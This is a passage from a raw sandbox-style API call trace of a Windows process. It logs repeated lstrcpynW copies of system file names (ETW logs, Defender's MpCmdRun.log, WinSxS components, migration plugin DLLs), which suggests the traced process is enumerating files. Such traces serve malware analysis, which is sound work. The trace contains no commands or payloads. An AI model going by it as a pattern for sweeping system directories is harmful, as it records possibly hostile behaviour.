lpString1="ac4e5acf-89f7-4220-ba21-81ee183975e2") returned="ac4e5acf-89f7-4220-ba21-81ee183975e2" [0131.625] lstrcpynW (in: lpString1=0x144bb04, lpString2="ac668097-4d6b-4093-ac14-014c09dbf820", iMaxLength=37 | out: lpString1="ac668097-4d6b-4093-ac14-014c09dbf820") returned="ac668097-4d6b-4093-ac14-014c09dbf820" [0131.625] lstrcpynW (in: lpString1=0x14cf144, lpString2="b0cbab43-44fc-469b-a4ce-87426761fdce", iMaxLength=37 | out: lpString1="b0cbab43-44fc-469b-a4ce-87426761fdce") returned="b0cbab43-44fc-469b-a4ce-87426761fdce" [0131.625] lstrcpynW (in: lpString1=0x144bb04, lpString2="be669c13-8165-4536-96d0-6d6c39292aae", iMaxLength=37 | out: lpString1="be669c13-8165-4536-96d0-6d6c39292aae") returned="be669c13-8165-4536-96d0-6d6c39292aae" [0131.625] lstrcpynW (in: lpString1=0x14cf144, lpString2="c016366b-7126-46ca-b36b-592a3d95a60b", iMaxLength=37 | out: lpString1="c016366b-7126-46ca-b36b-592a3d95a60b") returned="c016366b-7126-46ca-b36b-592a3d95a60b" [0131.626] lstrcpynW (in: lpString1=0x14da79c, lpString2="MpCmdRun.log", iMaxLength=13 | out: lpString1="MpCmdRun.log") returned="MpCmdRun.log" [0131.638] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp", iMaxLength=59 | out: lpString1="\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp") returned="\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp" [0131.639] lstrcpynW (in: lpString1=0x14cf144, lpString2="ca4b8ff2-a4d2-4d88-a52e-3a5bdaf7f56e", iMaxLength=37 | out: lpString1="ca4b8ff2-a4d2-4d88-a52e-3a5bdaf7f56e") returned="ca4b8ff2-a4d2-4d88-a52e-3a5bdaf7f56e" [0131.639] lstrcpynW (in: lpString1=0x1445ffc, lpString2="cb3d64bf-c0c9-45ff-bfb0-ff1a8f680186", iMaxLength=37 | out: lpString1="cb3d64bf-c0c9-45ff-bfb0-ff1a8f680186") returned="cb3d64bf-c0c9-45ff-bfb0-ff1a8f680186" [0131.639] lstrcpynW (in: lpString1=0x14cf144, lpString2="cee64558-e1a7-4d9d-80a7-2001912be5b5", iMaxLength=37 | out: lpString1="cee64558-e1a7-4d9d-80a7-2001912be5b5") returned="cee64558-e1a7-4d9d-80a7-2001912be5b5" [0131.639] lstrcpynW (in: lpString1=0x1445ffc, lpString2="d0250f3f-6480-484f-b719-42f659ac64d5", iMaxLength=37 | out: lpString1="d0250f3f-6480-484f-b719-42f659ac64d5") returned="d0250f3f-6480-484f-b719-42f659ac64d5" [0131.639] lstrcpynW (in: lpString1=0x14cf144, lpString2="eb02381f-d652-4b1c-894a-712498c62c51", iMaxLength=37 | out: lpString1="eb02381f-d652-4b1c-894a-712498c62c51") returned="eb02381f-d652-4b1c-894a-712498c62c51" [0131.639] lstrcpynW (in: lpString1=0x1445ffc, lpString2="d7b6e81d-3cf4-432c-84d2-24213f4316e6", iMaxLength=37 | out: lpString1="d7b6e81d-3cf4-432c-84d2-24213f4316e6") returned="d7b6e81d-3cf4-432c-84d2-24213f4316e6" [0131.640] lstrcpynW (in: lpString1=0x14cf144, lpString2="da41de71-8431-42fb-9db0-eb64a961dead", iMaxLength=37 | out: lpString1="da41de71-8431-42fb-9db0-eb64a961dead") returned="da41de71-8431-42fb-9db0-eb64a961dead" [0131.640] lstrcpynW (in: lpString1=0x1445ffc, lpString2="e22a8667-f75b-4ba9-ba46-067ed4429de8", iMaxLength=37 | out: lpString1="e22a8667-f75b-4ba9-ba46-067ed4429de8") returned="e22a8667-f75b-4ba9-ba46-067ed4429de8" [0131.640] lstrcpynW (in: lpString1=0x14cf144, lpString2="dd9f510c-95f4-499a-90c8-bac5bc372ff4", iMaxLength=37 | out: lpString1="dd9f510c-95f4-499a-90c8-bac5bc372ff4") returned="dd9f510c-95f4-499a-90c8-bac5bc372ff4" [0131.640] lstrcpynW (in: lpString1=0x1445ffc, lpString2="e3163c33-301d-4730-a266-5518c5ed3967", iMaxLength=37 | out: lpString1="e3163c33-301d-4730-a266-5518c5ed3967") returned="e3163c33-301d-4730-a266-5518c5ed3967" [0131.640] lstrcpynW (in: lpString1=0x14cf144, lpString2="eaca24ff-236c-401d-a1e7-b3d5267b8a50", iMaxLength=37 | out: lpString1="eaca24ff-236c-401d-a1e7-b3d5267b8a50") returned="eaca24ff-236c-401d-a1e7-b3d5267b8a50" [0131.640] lstrcpynW (in: lpString1=0x1445ffc, lpString2="fa2bc0a6-8d4b-458a-85c8-2b8c72487513", iMaxLength=37 | out: lpString1="fa2bc0a6-8d4b-458a-85c8-2b8c72487513") returned="fa2bc0a6-8d4b-458a-85c8-2b8c72487513" [0131.641] lstrcpynW (in: lpString1=0x14cf144, lpString2="fdd56c73-f0d5-41b6-b767-6effd7966428", iMaxLength=37 | out: lpString1="fdd56c73-f0d5-41b6-b767-6effd7966428") returned="fdd56c73-f0d5-41b6-b767-6effd7966428" [0131.641] lstrcpynW (in: lpString1=0x1445ffc, lpString2="fb3c354d-297a-4eb2-9b58-090f6361906b", iMaxLength=37 | out: lpString1="fb3c354d-297a-4eb2-9b58-090f6361906b") returned="fb3c354d-297a-4eb2-9b58-090f6361906b" [0131.641] lstrcpynW (in: lpString1=0x1436794, lpString2="SCM.EVM", iMaxLength=8 | out: lpString1="SCM.EVM") returned="SCM.EVM" [0131.641] lstrcpynW (in: lpString1=0x14f55e4, lpString2="SCM.EVM.1", iMaxLength=10 | out: lpString1="SCM.EVM.1") returned="SCM.EVM.1" [0131.641] lstrcpynW (in: lpString1=0x1436794, lpString2="SCM.EVM.2", iMaxLength=10 | out: lpString1="SCM.EVM.2") returned="SCM.EVM.2" [0131.642] lstrcpynW (in: lpString1=0x14f55e4, lpString2="SCM.EVM.3", iMaxLength=10 | out: lpString1="SCM.EVM.3") returned="SCM.EVM.3" [0131.642] lstrcpynW (in: lpString1=0x1436794, lpString2="SCM.EVM.4", iMaxLength=10 | out: lpString1="SCM.EVM.4") returned="SCM.EVM.4" [0131.642] lstrcpynW (in: lpString1=0x14b4b84, lpString2="Terminal-Services-Core.etl\x90", iMaxLength=27 | out: lpString1="Terminal-Services-Core.etl") returned="Terminal-Services-Core.etl" [0131.642] lstrcpynW (in: lpString1=0x14cf144, lpString2="Terminal-Services-IP-Virtualization.etl", iMaxLength=40 | out: lpString1="Terminal-Services-IP-Virtualization.etl") returned="Terminal-Services-IP-Virtualization.etl" [0131.642] lstrcpynW (in: lpString1=0x1445ffc, lpString2="Terminal-Services-RPC-Client.etl", iMaxLength=33 | out: lpString1="Terminal-Services-RPC-Client.etl") returned="Terminal-Services-RPC-Client.etl" [0131.643] lstrcpynW (in: lpString1=0x14cf144, lpString2="Terminal-Services-SessionEnv.etl", iMaxLength=33 | out: lpString1="Terminal-Services-SessionEnv.etl") returned="Terminal-Services-SessionEnv.etl" [0131.643] lstrcpynW (in: lpString1=0x1445ffc, lpString2="Terminal-Services-Unified-APIs.etl`", iMaxLength=35 | out: lpString1="Terminal-Services-Unified-APIs.etl") returned="Terminal-Services-Unified-APIs.etl" [0131.643] lstrcpynW (in: lpString1=0x14b4b84, lpString2="EtwRTDiagLog.etl", iMaxLength=17 | out: lpString1="EtwRTDiagLog.etl") returned="EtwRTDiagLog.etl" [0131.643] lstrcpynW (in: lpString1=0x1433584, lpString2="BBBImKp[1].jpgp", iMaxLength=15 | out: lpString1="BBBImKp[1].jpg") returned="BBBImKp[1].jpg" [0131.644] lstrcpynW (in: lpString1=0x14cf144, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8" [0131.644] lstrcpynW (in: lpString1=0x14b4b84, lpString2="EtwRTEventLog-System.etl", iMaxLength=25 | out: lpString1="EtwRTEventLog-System.etl") returned="EtwRTEventLog-System.etl" [0131.644] lstrcpynW (in: lpString1=0x53a7654, lpString2="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_lt-lt_34c4065f51729de0_comctl32.dll.mui_0da4e682`", iMaxLength=127 | out: lpString1="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_lt-lt_34c4065f51729de0_comctl32.dll.mui_0da4e682") returned="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_lt-lt_34c4065f51729de0_comctl32.dll.mui_0da4e682" [0131.644] lstrcpynW (in: lpString1=0x1433584, lpString2="comctl32.dll.mui", iMaxLength=17 | out: lpString1="comctl32.dll.mui") returned="comctl32.dll.mui" [0131.644] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_lt-lt_bf218497286c0530_comdlg32.dll.mui_ac8e62f4", iMaxLength=124 | out: lpString1="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_lt-lt_bf218497286c0530_comdlg32.dll.mui_ac8e62f4") returned="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_lt-lt_bf218497286c0530_comdlg32.dll.mui_ac8e62f4" [0131.644] lstrcpynW (in: lpString1=0x1433584, lpString2="comdlg32.dll.mui", iMaxLength=17 | out: lpString1="comdlg32.dll.mui") returned="comdlg32.dll.mui" [0131.645] lstrcpynW (in: lpString1=0x14f55e4, lpString2="fms.dll.mui", iMaxLength=12 | out: lpString1="fms.dll.mui") returned="fms.dll.mui" [0131.645] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_lt-lt_583ce567ce5e4898_mlang.dll.mui_2904864a", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_lt-lt_583ce567ce5e4898_mlang.dll.mui_2904864a") returned="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_lt-lt_583ce567ce5e4898_mlang.dll.mui_2904864a" [0131.645] lstrcpynW (in: lpString1=0x14da79c, lpString2="mlang.dll.mui", iMaxLength=14 | out: lpString1="mlang.dll.mui") returned="mlang.dll.mui" [0131.645] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lt-lt_1b4d466a173e8550_msimsg.dll.mui_72e8994f", iMaxLength=126 | out: lpString1="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lt-lt_1b4d466a173e8550_msimsg.dll.mui_72e8994f") returned="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lt-lt_1b4d466a173e8550_msimsg.dll.mui_72e8994f" [0131.645] lstrcpynW (in: lpString1=0x1433584, lpString2="msimsg.dll.muiĸ", iMaxLength=15 | out: lpString1="msimsg.dll.mui") returned="msimsg.dll.mui" [0131.645] lstrcpynW (in: lpString1=0x53a7654, lpString2="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_lv-lv_359174e350f0ded0_comctl32.dll.mui_0da4e682`", iMaxLength=127 | out: lpString1="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_lv-lv_359174e350f0ded0_comctl32.dll.mui_0da4e682") returned="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_lv-lv_359174e350f0ded0_comctl32.dll.mui_0da4e682" [0131.646] lstrcpynW (in: lpString1=0x1433584, lpString2="comctl32.dll.mui", iMaxLength=17 | out: lpString1="comctl32.dll.mui") returned="comctl32.dll.mui" [0131.646] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_lv-lv_bfeef31b27ea4620_comdlg32.dll.mui_ac8e62f4", iMaxLength=124 | out: lpString1="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_lv-lv_bfeef31b27ea4620_comdlg32.dll.mui_ac8e62f4") returned="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_lv-lv_bfeef31b27ea4620_comdlg32.dll.mui_ac8e62f4" [0131.646] lstrcpynW (in: lpString1=0x1433584, lpString2="comdlg32.dll.mui", iMaxLength=17 | out: lpString1="comdlg32.dll.mui") returned="comdlg32.dll.mui" [0131.646] lstrcpynW (in: lpString1=0x14f55bc, lpString2="fms.dll.mui", iMaxLength=12 | out: lpString1="fms.dll.mui") returned="fms.dll.mui" [0131.646] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_lv-lv_590a53ebcddc8988_mlang.dll.mui_2904864a", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_lv-lv_590a53ebcddc8988_mlang.dll.mui_2904864a") returned="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_lv-lv_590a53ebcddc8988_mlang.dll.mui_2904864a" [0131.646] lstrcpynW (in: lpString1=0x1436794, lpString2="mlang.dll.mui", iMaxLength=14 | out: lpString1="mlang.dll.mui") returned="mlang.dll.mui" [0131.647] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lv-lv_1c1ab4ee16bcc640_msimsg.dll.mui_72e8994f", iMaxLength=126 | out: lpString1="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lv-lv_1c1ab4ee16bcc640_msimsg.dll.mui_72e8994f") returned="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lv-lv_1c1ab4ee16bcc640_msimsg.dll.mui_72e8994f" [0131.647] lstrcpynW (in: lpString1=0x1433584, lpString2="msimsg.dll.muiX", iMaxLength=15 | out: lpString1="msimsg.dll.mui") returned="msimsg.dll.mui" [0131.647] lstrcpynW (in: lpString1=0x14f55e4, lpString2="advapi32.amx", iMaxLength=13 | out: lpString1="advapi32.amx") returned="advapi32.amx" [0131.647] lstrcpynW (in: lpString1=0x14da79c, lpString2="gdi32.amx", iMaxLength=10 | out: lpString1="gdi32.amx") returned="gdi32.amx" [0131.647] lstrcpynW (in: lpString1=0x14f55e4, lpString2="kernel32.amx", iMaxLength=13 | out: lpString1="kernel32.amx") returned="kernel32.amx" [0131.647] lstrcpynW (in: lpString1=0x1433584, lpString2="kernelbase.amxP", iMaxLength=15 | out: lpString1="kernelbase.amx") returned="kernelbase.amx" [0131.648] lstrcpynW (in: lpString1=0x14da79c, lpString2="user32.amx\x88", iMaxLength=11 | out: lpString1="user32.amx") returned="user32.amx" [0131.648] lstrcpynW (in: lpString1=0x1445ffc, lpString2="b889ab5d-f7d2-47ff-92a1-3ec877b7e01c", iMaxLength=37 | out: lpString1="b889ab5d-f7d2-47ff-92a1-3ec877b7e01c") returned="b889ab5d-f7d2-47ff-92a1-3ec877b7e01c" [0131.648] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0131.648] CoFreeUnusedLibraries () [0131.648] GetTickCount () returned 0x1153505 [0131.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0131.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0131.649] GetTickCount () returned 0x1153505 [0131.649] IsWindowVisible (hWnd=0x30268) returned 0 [0131.649] Sleep (dwMilliseconds=0x0) [0131.650] lstrcpynW (in: lpString1=0x14f55bc, lpString2="Preferred", iMaxLength=10 | out: lpString1="Preferred") returned="Preferred" [0131.650] lstrcpynW (in: lpString1=0x1445ffc, lpString2="1e582198-061f-43f1-abdf-d4e9b606b035", iMaxLength=37 | out: lpString1="1e582198-061f-43f1-abdf-d4e9b606b035") returned="1e582198-061f-43f1-abdf-d4e9b606b035" [0131.650] lstrcpynW (in: lpString1=0x144bb04, lpString2="f22e410f-f947-4e08-8f2a-8f65df603f8d", iMaxLength=37 | out: lpString1="f22e410f-f947-4e08-8f2a-8f65df603f8d") returned="f22e410f-f947-4e08-8f2a-8f65df603f8d" [0131.651] lstrcpynW (in: lpString1=0x1436794, lpString2="Preferred", iMaxLength=10 | out: lpString1="Preferred") returned="Preferred" [0131.651] lstrcpynW (in: lpString1=0x1433584, lpString2="audmigplugin.dll", iMaxLength=17 | out: lpString1="audmigplugin.dll") returned="audmigplugin.dll" [0131.651] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-networkbridge_31bf3856ad364e35_6.1.7600.16385_none_63dee2821fc69fce_bridgemigplugin.dll_4c0b8021", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-networkbridge_31bf3856ad364e35_6.1.7600.16385_none_63dee2821fc69fce_bridgemigplugin.dll_4c0b8021") returned="amd64_microsoft-windows-networkbridge_31bf3856ad364e35_6.1.7600.16385_none_63dee2821fc69fce_bridgemigplugin.dll_4c0b8021" [0131.651] lstrcpynW (in: lpString1=0x1433584, lpString2="bridgemigplugin.dll", iMaxLength=20 | out: lpString1="bridgemigplugin.dll") returned="bridgemigplugin.dll" [0131.651] lstrcpynW (in: lpString1=0x14b48fc, lpString2="bthmigplugin.dll", iMaxLength=17 | out: lpString1="bthmigplugin.dll") returned="bthmigplugin.dll" [0131.651] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-p..unterinfrastructure_31bf3856ad364e35_6.1.7600.16385_none_cd7aeeff1897d018_cntrtextmig.dll_08675f2d", iMaxLength=126 | out: lpString1="amd64_microsoft-windows-p..unterinfrastructure_31bf3856ad364e35_6.1.7600.16385_none_cd7aeeff1897d018_cntrtextmig.dll_08675f2d") returned="amd64_microsoft-windows-p..unterinfrastructure_31bf3856ad364e35_6.1.7600.16385_none_cd7aeeff1897d018_cntrtextmig.dll_08675f2d" [0131.652] lstrcpynW (in: lpString1=0x1433584, lpString2="CntrtextMig.dll", iMaxLength=16 | out: lpString1="CntrtextMig.dll") returned="CntrtextMig.dll" [0131.652] lstrcpynW (in: lpString1=0x14f55e4, lpString2="commig.dllX", iMaxLength=11 | out: lpString1="commig.dll") returned="commig.dll" [0131.652] lstrcpynW (in: lpString1=0x14da79c, lpString2="gameuxmig.dll", iMaxLength=14 | out: lpString1="gameuxmig.dll") returned="gameuxmig.dll" [0131.652] lstrcpynW (in: lpString1=0x14f55e4, lpString2="imjpmig.dll", iMaxLength=12 | out: lpString1="imjpmig.dll") returned="imjpmig.dll" [0131.652] lstrcpynW (in: lpString1=0x14da79c, lpString2="imkrmig.dll", iMaxLength=12 | out: lpString1="imkrmig.dll") returned="imkrmig.dll" [0131.652] lstrcpynW (in: lpString1=0x14f55e4, lpString2="imscmig.dll", iMaxLength=12 | out: lpString1="imscmig.dll") returned="imscmig.dll" [0131.653] lstrcpynW (in: lpString1=0x14da79c, lpString2="imtcmig.dll", iMaxLength=12 | out: lpString1="imtcmig.dll") returned="imtcmig.dll" [0131.653] lstrcpynW (in: lpString1=0x53a7654, lpString2="amd64_microsoft-windows-i..oexistencemigration_31bf3856ad364e35_6.1.7601.17514_none_7009184192f9f5e7_iphlpsvcmigplugin.dll_b4697821", iMaxLength=132 | out: lpString1="amd64_microsoft-windows-i..oexistencemigration_31bf3856ad364e35_6.1.7601.17514_none_7009184192f9f5e7_iphlpsvcmigplugin.dll_b4697821") returned="amd64_microsoft-windows-i..oexistencemigration_31bf3856ad364e35_6.1.7601.17514_none_7009184192f9f5e7_iphlpsvcmigplugin.dll_b4697821" [0131.653] lstrcpynW (in: lpString1=0x1433584, lpString2="IphlpsvcMigPlugin.dll", iMaxLength=22 | out: lpString1="IphlpsvcMigPlugin.dll") returned="IphlpsvcMigPlugin.dll" [0131.653] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-unimodem-config_31bf3856ad364e35_6.1.7600.16385_none_50f69335385bc360_modemmigplugin.dll_6b9e1a82", iMaxLength=122 | out: lpString1="amd64_microsoft-windows-unimodem-config_31bf3856ad364e35_6.1.7600.16385_none_50f69335385bc360_modemmigplugin.dll_6b9e1a82") returned="amd64_microsoft-windows-unimodem-config_31bf3856ad364e35_6.1.7600.16385_none_50f69335385bc360_modemmigplugin.dll_6b9e1a82" [0131.653] lstrcpynW (in: lpString1=0x1433584, lpString2="modemmigplugin.dllX", iMaxLength=19 | out: lpString1="modemmigplugin.dll") returned="modemmigplugin.dll" [0131.654] lstrcpynW (in: lpString1=0x14f55e4, lpString2="msctfmig.dll", iMaxLength=13 | out: lpString1="msctfmig.dll") returned="msctfmig.dll" [0131.654] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-ndis_31bf3856ad364e35_6.1.7601.17514_none_05ed313632ae9759_ndismigplugin.dll_7aadce98", iMaxLength=110 | out: lpString1="amd64_microsoft-windows-ndis_31bf3856ad364e35_6.1.7601.17514_none_05ed313632ae9759_ndismigplugin.dll_7aadce98") returned="amd64_microsoft-windows-ndis_31bf3856ad364e35_6.1.7601.17514_none_05ed313632ae9759_ndismigplugin.dll_7aadce98" [0131.654] lstrcpynW (in: lpString1=0x1433584, lpString2="ndismigplugin.dll", iMaxLength=18 | out: lpString1="ndismigplugin.dll") returned="ndismigplugin.dll" [0131.654] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tcpip_31bf3856ad364e35_6.1.7601.17514_none_bfab9b4ba5f934f9_netiomig.dll_917b9a36", iMaxLength=106 | out: lpString1="amd64_microsoft-windows-tcpip_31bf3856ad364e35_6.1.7601.17514_none_bfab9b4ba5f934f9_netiomig.dll_917b9a36") returned="amd64_microsoft-windows-tcpip_31bf3856ad364e35_6.1.7601.17514_none_bfab9b4ba5f934f9_netiomig.dll_917b9a36" [0131.654] lstrcpynW (in: lpString1=0x14f55bc, lpString2="netiomig.dll", iMaxLength=13 | out: lpString1="netiomig.dll") returned="netiomig.dll" [0131.654] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-international-core_31bf3856ad364e35_6.1.7600.16385_none_459f562ff37206dd_nlscoremig.dll_0ee3acd5", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-international-core_31bf3856ad364e35_6.1.7600.16385_none_459f562ff37206dd_nlscoremig.dll_0ee3acd5") returned="amd64_microsoft-windows-international-core_31bf3856ad364e35_6.1.7600.16385_none_459f562ff37206dd_nlscoremig.dll_0ee3acd5" [0131.655] lstrcpynW (in: lpString1=0x1433584, lpString2="nlscoremig.dllP", iMaxLength=15 | out: lpString1="nlscoremig.dll") returned="nlscoremig.dll" [0131.655] lstrcpynW (in: lpString1=0x1436794, lpString2="PlaMig.dll`", iMaxLength=11 | out: lpString1="PlaMig.dll") returned="PlaMig.dll" [0131.655] lstrcpynW (in: lpString1=0x1433584, lpString2="PowerMigPlugin.dll`", iMaxLength=19 | out: lpString1="PowerMigPlugin.dll") returned="PowerMigPlugin.dll" [0131.655] lstrcpynW (in: lpString1=0x14b48fc, lpString2="SCGMigPlugin.dll", iMaxLength=17 | out: lpString1="SCGMigPlugin.dll") returned="SCGMigPlugin.dll" [0131.655] lstrcpynW (in: lpString1=0x14da79c, lpString2="shmig.dll", iMaxLength=10 | out: lpString1="shmig.dll") returned="shmig.dll" [0131.655] lstrcpynW (in: lpString1=0x1433584, lpString2="StorMigPlugin.dll", iMaxLength=18 | out: lpString1="StorMigPlugin.dll") returned="StorMigPlugin.dll" [0131.656] lstrcpynW (in: lpString1=0x14b48fc, lpString2="SxsMigPlugin.dll", iMaxLength=17 | out: lpString1="SxsMigPlugin.dll") returned="SxsMigPlugin.dll" [0131.656] lstrcpynW (in: lpString1=0x1433584, lpString2="TableTextServiceMig.dll", iMaxLength=24 | out: lpString1="TableTextServiceMig.dll") returned="TableTextServiceMig.dll" [0131.656] lstrcpynW (in: lpString1=0x14b48fc, lpString2="usbmigplugin.dll", iMaxLength=17 | out: lpString1="usbmigplugin.dll") returned="usbmigplugin.dll" [0131.656] lstrcpynW (in: lpString1=0x1433584, lpString2="WininetPlugin.dll", iMaxLength=18 | out: lpString1="WininetPlugin.dll") returned="WininetPlugin.dll" [0131.656] lstrcpynW (in: lpString1=0x14b48fc, lpString2="WMIMigrationPlugin.dllh", iMaxLength=23 | out: lpString1="WMIMigrationPlugin.dll") returned="WMIMigrationPlugin.dll" [0131.657] lstrcpynW (in: lpString1=0x1433584, lpString2="WSearchMigPlugin.dll", iMaxLength=21 | out: lpString1="WSearchMigPlugin.dll") returned="WSearchMigPlugin.dll" [0131.657] lstrcpynW (in: lpString1=0x14f55e4, lpString2="WsUpgrade.dll", iMaxLength=14 | out: lpString1="WsUpgrade.dll") returned="WsUpgrade.dll" [0131.657] lstrcpynW (in: lpString1=0x14f55bc, lpString2="ShMig.dll.mui", iMaxLength=14 | out: lpString1="ShMig.dll.mui") returned="ShMig.dll.mui" [0131.657] lstrcpynW (in: lpString1=0x14b48fc, lpString2="SxsMigPlugin.dll.mui", iMaxLength=21 | out: lpString1="SxsMigPlugin.dll.mui") returned="SxsMigPlugin.dll.mui" [0131.657] lstrcpynW (in: lpString1=0x1433584, lpString2="WsUpgrade.dll.mui", iMaxLength=18 | out: lpString1="WsUpgrade.dll.mui") returned="WsUpgrade.dll.mui" [0131.658] lstrcpynW (in: lpString1=0x14f55e4, lpString2="RasApi-DL.man", iMaxLength=14 | out: lpString1="RasApi-DL.man") returned="RasApi-DL.man" [0131.658] lstrcpynW (in: lpString1=0x1445ffc, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-dl.man_1c597019Ę", iMaxLength=111 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-dl.man_1c597019") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-dl.man_1c597019" [0131.658] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasapi-dl.man_1c597019X", iMaxLength=111 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasapi-dl.man_1c597019") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasapi-dl.man_1c597019" [0131.658] lstrcpynW (in: lpString1=0x1436794, lpString2="RasApi-DL.man", iMaxLength=14 | out: lpString1="RasApi-DL.man") returned="RasApi-DL.man" [0131.658] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasmanService-DL.man", iMaxLength=21 | out: lpString1="RasmanService-DL.man") returned="RasmanService-DL.man" [0131.658] lstrcpynW (in: lpString1=0x1445ffc, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-dl.man_89e23b24", iMaxLength=118 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-dl.man_89e23b24") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-dl.man_89e23b24" [0131.659] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmanservice-dl.man_89e23b24", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmanservice-dl.man_89e23b24") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmanservice-dl.man_89e23b24" [0131.659] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasmanService-DL.man", iMaxLength=21 | out: lpString1="RasmanService-DL.man") returned="RasmanService-DL.man" [0131.659] lstrcpynW (in: lpString1=0x1433584, lpString2="RasServerMigPlugin-DL.man", iMaxLength=26 | out: lpString1="RasServerMigPlugin-DL.man") returned="RasServerMigPlugin-DL.man" [0131.659] lstrcpynW (in: lpString1=0x1445ffc, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasservermigplugin-dl.man_babd2d8eİ", iMaxLength=123 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasservermigplugin-dl.man_babd2d8e") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasservermigplugin-dl.man_babd2d8e" [0131.659] lstrcpynW (in: lpString1=0x144bb04, 